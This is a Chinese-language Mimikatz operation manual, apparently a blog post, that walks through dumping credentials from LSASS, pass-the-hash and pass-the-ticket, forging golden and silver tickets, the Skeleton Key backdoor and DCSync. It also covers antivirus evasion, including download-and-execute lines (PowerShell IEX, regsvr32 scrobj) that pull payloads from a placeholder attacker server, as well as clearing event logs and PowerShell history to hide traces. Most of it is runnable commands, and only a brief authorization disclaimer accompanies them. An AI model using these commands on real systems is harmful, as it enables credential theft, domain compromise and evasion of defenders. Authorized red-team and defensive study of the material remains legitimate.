Mimikatz User Manual

Mimikatz User Manual

Mimikatz 操作手册

Author: Asterism && Deepseek Date: 2026.3.20

Lastest edited on 2026.3.20


简介

Mimikatz 是一款开源的 Windows 安全工具,主要用于从内存中提取明文密码、哈希、Kerberos 票据等凭据。它由 Benjamin Delpy 开发,被广泛用于渗透测试和红队行动。

核心功能

  • 抓取 LSASS 中的登录凭据(NTLM 哈希、明文密码、PIN 码)
  • 执行 Pass-the-Hash、Pass-the-Ticket 攻击
  • 伪造 Kerberos 票据(黄金票据、白银票据)
  • 操作 Windows 认证机制(如 Skeleton Key 后门)
  • 离线分析 LSASS 内存转储

Windows系统必备知识

参考博客:Mimikatz-Windows background knowledge


安装与运行

获取 Mimikatz

  • 官方 GitHub:https://github.com/gentilkiwi/mimikatz
  • 下载预编译版本:mimikatz_trunk.zip,解压后包含 mimikatz.exe(32 位)和 mimikatz64.exe(64 位)。

运行要求

  • 管理员权限(需以管理员身份运行)
  • 需绕过杀毒软件(可临时禁用或使用免杀技术)

基本启动

mimikatz.exe

或直接带参数执行:

mimikatz.exe "command1" "command2" "exit"

基础命令与凭据提取

启用调试权限

所有操作前必须执行:

privilege::debug

成功会显示 Privilege '20' OK

提取所有凭据

sekurlsa::logonpasswords

显示所有登录会话的凭据(MSV、WDIGEST、Kerberos 等)。

单独提取特定凭据

  • NTLM 哈希sekurlsa::msv
  • 明文密码sekurlsa::wdigest
  • Kerberos 票据sekurlsa::kerberos

离线分析 LSASS 内存转储

  1. 导出 LSASS 内存(任务管理器或 procdump)得到 .dmp 文件。
  2. 在分析机上执行:
    sekurlsa::minidump C:\path\to\lsass.dmp
    sekurlsa::logonpasswords
    

输出解析

  • NTLM:格式 LM哈希:NTLM哈希,冒号后为 NTLM 哈希。
  • 明文密码:在 Password 字段,现代系统可能为空。
  • Kerberos 票据:包含 TGT 和服务票据,可导出后用于 Pass-the-Ticket。

基础利用技术

Pass-the-Hash (PtH)

使用 NTLM 哈希直接认证,无需明文密码。

sekurlsa::pth /user:用户名 /domain:域名或主机名 /ntlm:NT哈希

执行后会弹出新命令行,在该窗口中可访问目标资源:

dir \\目标IP\C$

Pass-the-Ticket

导出 Kerberos 票据后,在其他机器上导入使用。

  • 导出票据
    kerberos::list /export
    
    生成 .kirbi 文件。
  • 导入票据
    kerberos::ptt 票据文件.kirbi
    
  • 清除当前票据
    kerberos::purge
    

Overpass-the-Hash

使用 NTLM 哈希获取 Kerberos TGT,适用于 Kerberos 认证的服务。

sekurlsa::pth /user:用户名 /domain:域名 /ntlm:哈希 /run:cmd

高级利用技术

黄金票据 (Golden Ticket)

伪造任意用户的 TGT,可访问域内任何服务。需要 KRBTGT 账户的哈希和域 SID。

  1. 获取 KRBTGT 哈希(需域管理员权限):
    lsadump::dcsync /user:krbtgt
    
  2. 获取域 SID
    whoami /user
    
    输出 S-1-5-21-xxxxxxxx-xxxxxxxx-xxxxxxxx-500,取前三段为域 SID。
  3. 伪造票据并注入
    kerberos::golden /domain:域名 /sid:域SID /krbtgt:KRBTGT哈希 /user:任意用户名 /id:500 /ptt
    
  4. 验证dir \\域控主机名\c$

白银票据 (Silver Ticket)

伪造特定服务的服务票据,无需 KRBTGT 哈希。需要目标服务账户的 NTLM 哈希(如域控的 CIFS 服务)。

  1. 获取服务账户哈希(如域控计算机账户):
    lsadump::dcsync /user:DCNAME$
    
  2. 伪造白银票据
    kerberos::golden /domain:域名 /sid:域SID /target:目标主机 /service:服务类型 /rc4:服务哈希 /user:任意用户名 /ptt
    
    常见服务:cifsldaphttpwinrmhost
  3. 验证:访问对应服务。

Skeleton Key 后门

在域控上安装万能密码 mimikatz,允许任何域用户使用该密码登录(不影响原密码)。重启后失效。

misc::skeleton

DCSync 攻击

利用目录服务复制权限,从域控导出所有用户哈希。

lsadump::dcsync /user:域用户名

如果不指定用户,则导出所有用户。

操作事件日志

  • 清除所有事件日志
    eventlog::clear
    
  • 删除指定日志:需配合其他工具(如 wevtutil)。

免杀与隐蔽执行

内存加载 (Invoke-Mimikatz)

使用 PowerShell 将 Mimikatz 加载到内存,无文件落地。

IEX (New-Object Net.WebClient).DownloadString('http://你的服务器/Invoke-Mimikatz.ps1')
Invoke-Mimikatz -Command 'privilege::debug sekurlsa::logonpasswords'

注意:可能需要绕过 PowerShell 执行策略和 AMSI。

使用 Shellcode 加载器

将 Mimikatz 转换为 shellcode,使用自定义加载器执行(如 Donut、PeToShellcode)。

加壳与混淆

  • UPX 压缩:upx -9 mimikatz.exe
  • 使用 Veil、Shellter 等工具生成免杀版本。

编译修改版

从源码修改敏感字符串、添加垃圾代码、替换 API 调用方式,重新编译。

利用系统工具

  • MSBuild:上传 XML 文件并执行 C:\Windows\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe 恶意.xml
  • InstallUtilC:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe /logfile= /LogToConsole=false /U 恶意.dll
  • Regsvr32regsvr32 /s /n /u /i:http://你的服务器/恶意.sct scrobj.dll

Cobalt Strike 集成

在 Beacon 中直接使用内置的 Mimikatz 命令,或通过 execute-assembly 内存执行。

mimikatz privilege::debug sekurlsa::logonpasswords
execute-assembly /path/to/mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords"

常见问题与解决

问题原因解决方法
privilege::debug 失败未以管理员身份运行右键以管理员身份运行
sekurlsa::logonpasswords 无输出系统启用了 Credential Guard使用离线内存转储
无法转储 LSASS(拒绝访问)LSA 保护 (RunAsPPL) 启用临时禁用 LSA 保护(重启)或使用 comsvcs.dll 转储
杀毒软件拦截特征码匹配使用免杀技术,如内存加载
黄金票据无效域 SID 或 KRBTGT 哈希错误重新获取并核对
Pass-the-Hash 失败NTLM 认证被禁用尝试 Overpass-the-Hash

实战场景演练

场景一:单机凭据提取

  1. 以管理员身份运行 Mimikatz。
  2. 执行 privilege::debugsekurlsa::logonpasswords
  3. 记录 NTLM 哈希和明文密码。
  4. 使用 sekurlsa::pth 进行横向移动(如有其他机器)。

场景二:域环境权限维持

  1. 在已控域成员机上提取域用户哈希。
  2. 使用 Pass-the-Hash 登录域控。
  3. 在域控上执行 lsadump::dcsync /user:krbtgt 获取 KRBTGT 哈希。
  4. 创建黄金票据,注入当前会话。
  5. 访问任意域资源验证。

场景三:绕过杀软提取凭据

  1. 使用 PowerShell 内存加载 Invoke-Mimikatz。
  2. 绕过 AMSI(例如反射加载)。
  3. 执行凭据抓取。
  4. 清除 PowerShell 历史记录和事件日志。

注意事项与法律声明

  • 仅限授权测试:未经授权使用 Mimikatz 攻击他人系统属于违法行为。
  • 环境安全:测试时使用隔离的虚拟机,避免影响生产网络。
  • 日志痕迹:Mimikatz 的操作会留下大量日志,实战中需注意清理(如清除安全日志、修改时间戳等)。
  • 持续更新:Mimikatz 和操作系统都在不断更新,请关注官方最新版本和绕过技术。

参考资料

  • Mimikatz 官方 Wiki:https://github.com/gentilkiwi/mimikatz/wiki
  • PowerSploit:https://github.com/PowerShellMafia/PowerSploit
  • Cobalt Strike 文档:https://www.cobaltstrike.com/help
  • 免杀技术社区:如 Red Teaming 相关博客、GitHub 项目